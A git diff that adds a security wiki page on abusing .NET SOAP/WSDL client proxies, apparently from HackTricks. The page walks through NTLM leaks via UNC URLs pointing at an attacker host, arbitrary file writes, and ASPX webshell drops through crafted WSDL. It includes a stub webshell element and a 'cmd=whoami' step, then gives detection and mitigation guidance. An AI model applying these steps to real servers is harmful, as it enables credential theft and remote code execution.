|
| 1 | +# .NET SOAP/WSDL Client Proxy Abuse |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## TL;DR |
| 6 | + |
| 7 | +- `SoapHttpClientProtocol`, `DiscoveryClientProtocol` and friends inherit from `HttpWebClientProtocol`, whose `GetWebRequest()` returns the scheme-agnostic `WebRequest` instance produced by `WebRequest.Create()` without enforcing `HttpWebRequest`. |
| 8 | +- If an attacker controls the proxy `Url`, the framework silently swaps in `FileWebRequest`, `FtpWebRequest` or UNC/SMB handlers, turning "HTTP" proxies into NTLM leak gadgets or arbitrary file writers. |
| 9 | +- Any feature that imports attacker-supplied WSDL with `ServiceDescriptionImporter` compounds the bug: the WSDL controls the generated proxy constructor, SOAP methods, complex types and namespaces, enabling pre-auth RCE (webshells, script drops) in products such as Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell and SSIS. |
| 10 | + |
| 11 | +## Root cause: HttpWebClientProtocol is scheme-agnostic |
| 12 | + |
| 13 | +`WebClientProtocol.GetWebRequest()` does `var req = WebRequest.Create(uri)` and returns it untouched. `HttpWebClientProtocol.GetWebRequest()` tries `req as HttpWebRequest` to set HTTP-only fields, but it **still returns the original `req`** even when the cast fails. Therefore the runtime obeys whatever scheme is present in `Url`: |
| 14 | + |
| 15 | +- `http(s)://` → `HttpWebRequest` |
| 16 | +- `file:///` or `\\host\share\` → `FileWebRequest` |
| 17 | +- `ftp://` → `FtpWebRequest` |
| 18 | + |
| 19 | +`SoapHttpClientProtocol.Invoke()` then streams the SOAP POST body through whatever transport handler was selected, even if that means writing to disk or over SMB. |
| 20 | + |
| 21 | +## Primitive 1 – NTLM capture / relay via UNC targets |
| 22 | + |
| 23 | +1. Gain control over `SoapHttpClientProtocol.Url` (direct setter, config value, database row, etc.). |
| 24 | +2. Point it to a UNC path like `file://attacker.local/sink/payload`. |
| 25 | +3. The CLR opens the path via SMB and performs integrated authentication, leaking NTLM challenge/response to the attacker. |
| 26 | +4. Use captured hashes for offline cracking or NTLM relay (SMB/HTTP) if signing/EPA are absent. |
| 27 | + |
| 28 | +This applies to **any** .NET SOAP/HTTP proxy path that accepts user input, even if no further exploitation is possible. |
| 29 | + |
| 30 | +## Primitive 2 – Arbitrary file writes via `file://` |
| 31 | + |
| 32 | +1. Set `Url = "file:///inetpub/wwwroot/poc.aspx"` (or any writable path) before the proxy call. |
| 33 | +2. Invoke any SOAP method; the framework writes the entire SOAP envelope to the chosen path, overwriting existing files. |
| 34 | +3. User-controlled arguments appear inside XML elements, letting attackers drop CSHTML/ASPX payloads or poison config files. |
| 35 | + |
| 36 | +Limitations: |
| 37 | + |
| 38 | +- Content is always XML; scalar fields are entity-encoded, so injecting `<script>` via plain strings requires additional tricks. |
| 39 | +- Meaningful payloads need at least one attacker-influenced argument or the ability to modify the method signature (see WSDL abuse). |
| 40 | + |
| 41 | +Runtime often throws `Client found response content type of 'application/octet-stream', but expected 'text/xml'` after the write—treat this error as an IOC. |
| 42 | + |
| 43 | +## Weaponizing WSDL imports |
| 44 | + |
| 45 | +### Auto-generated proxies via `ServiceDescriptionImporter` |
| 46 | + |
| 47 | +Many products expose "custom web service" features that accept a WSDL URL, then: |
| 48 | + |
| 49 | +1. `ServiceDescription.Read()` the attacker-controlled WSDL. |
| 50 | +2. `ServiceDescriptionImporter` generates C# proxy classes extending `SoapHttpClientProtocol`. |
| 51 | +3. CodeDOM compiles the proxy and reflection calls the requested method. |
| 52 | + |
| 53 | +The attacker fully controls: |
| 54 | + |
| 55 | +- `soap:address` / `soap12:address` `location` → becomes `base.Url` (can set `file://` or UNC paths). |
| 56 | +- Method names, parameter lists, complex types and serializers. |
| 57 | +- Namespace URIs that end up as `xmlns:*` attributes in every SOAP message. |
| 58 | + |
| 59 | +No scheme validation occurs, so every generated proxy inherits the original design flaw. |
| 60 | + |
| 61 | +### Shaping the SOAP envelope for RCE |
| 62 | + |
| 63 | +- **Complex type serialization**: Define custom structs in the WSDL so that when `XmlSerializer` re-emits them, they produce attacker-chosen element names/attributes. For ASPX webshell drops, craft types that serialize to: |
| 64 | + ```xml |
| 65 | + <script runat="server"> |
| 66 | + // payload pulling `Request.QueryString["cmd"]` |
| 67 | + </script> |
| 68 | + ``` |
| 69 | + and point `Url` to `file:///.../webroot/shell.aspx` to gain RCE. |
| 70 | +- **Namespace injection**: Even when arguments are hard-coded (e.g., Umbraco Forms), namespaces declared in the WSDL (e.g., `xmlns:tns="http://host/service?x=@{...}"`) are copied verbatim into the SOAP envelope. Encoding payloads inside the namespace query string enables CSHTML Razor or PowerShell script drops without parameter control. |
| 71 | + |
| 72 | +These techniques powered the Barracuda Service Center RMM (CVE-2025-34392) exploit: an unauthenticated SOAP call supplied a malicious WSDL, set `soap12:address` to `file:///Program Files/.../SCMessaging/poc.aspx`, injected `<script runat="server">` via complex parameters, and uploaded a webshell that executed arbitrary `cmd.exe` commands. |
| 73 | + |
| 74 | +## Typical attack workflow |
| 75 | + |
| 76 | +1. Identify functionality that accepts a WSDL URL or otherwise lets users configure SOAP endpoints (e.g., Barracuda `InvokeRemoteMethod`, Ivanti EPM connectors, Umbraco 8 Forms datasources, PowerShell `New-WebServiceProxy`). |
| 77 | +2. Host a malicious WSDL whose `soap:address` points to a writable path or UNC share and whose schema definitions provide payload-friendly methods/types. |
| 78 | +3. Trigger the import/compilation. The target emits a proxy DLL with attacker-controlled constructor and methods. |
| 79 | +4. When the application invokes the generated method, the SOAP request is serialized and written to the attacker-specified path, embedding the payload. |
| 80 | +5. Execute the dropped file (browse to `poc.aspx?cmd=whoami`, load the CSHTML, or let PowerShell run the script) or replay captured NTLM material. |
| 81 | + |
| 82 | +## Detection & hunting |
| 83 | + |
| 84 | +- **Static analysis**: Grep for `ServiceDescriptionImporter`, `SoapHttpClientProtocol`, `HttpWebClientProtocol`, or `New-WebServiceProxy`. Trace how `Url` or WSDL inputs are sourced—anything user-controlled is a red flag. |
| 85 | +- **Runtime telemetry**: |
| 86 | + - Instrument proxy creation to log schemes; alert on `file`, `ftp`, or UNC values. |
| 87 | + - Monitor for the characteristic "Client found response content type of 'application/octet-stream'" errors after SOAP calls. |
| 88 | + - Watch for unexpected `.aspx/.cshtml/.ps1` writes under application directories performed by the web service identity. |
| 89 | +- **Network/file signals**: SMB connections initiated by web servers to attacker infrastructure, or sudden compilation of temporary proxy DLLs, often precede exploitation. |
| 90 | + |
| 91 | +## Mitigations |
| 92 | + |
| 93 | +- **Enforce transport validation** before invoking any `HttpWebClientProtocol`-derived proxy: |
| 94 | + ```csharp |
| 95 | + var uri = new Uri(proxy.Url); |
| 96 | + if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps) |
| 97 | + throw new InvalidOperationException("SOAP clients must stay on HTTP/S"); |
| 98 | + ``` |
| 99 | +- **Sanitize imported WSDL**: Proxy downloads through a broker that rewrites or rejects `soap:address` entries that are not HTTP/S, drops unknown bindings, and forbids namespace payload tricks. |
| 100 | +- **Disable untrusted WSDL features**: Replace "upload a WSDL" conveniences with vetted, server-side templates or allowlists. |
| 101 | +- **Segregate write locations**: Ensure app pools cannot write into executable directories; use separate volumes for data vs. code so that file-write primitives do not become RCE. |
| 102 | +- **Harden NTLM exposure**: Disable outbound SMB where possible; otherwise enforce SMB signing, EPA and other relay mitigations. |
| 103 | + |
| 104 | +## References |
| 105 | + |
| 106 | +- [watchTowr Labs – SOAPwn: Pwning .NET Framework Applications Through HTTP Client Proxies and WSDL](https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/) |
| 107 | + |
| 108 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments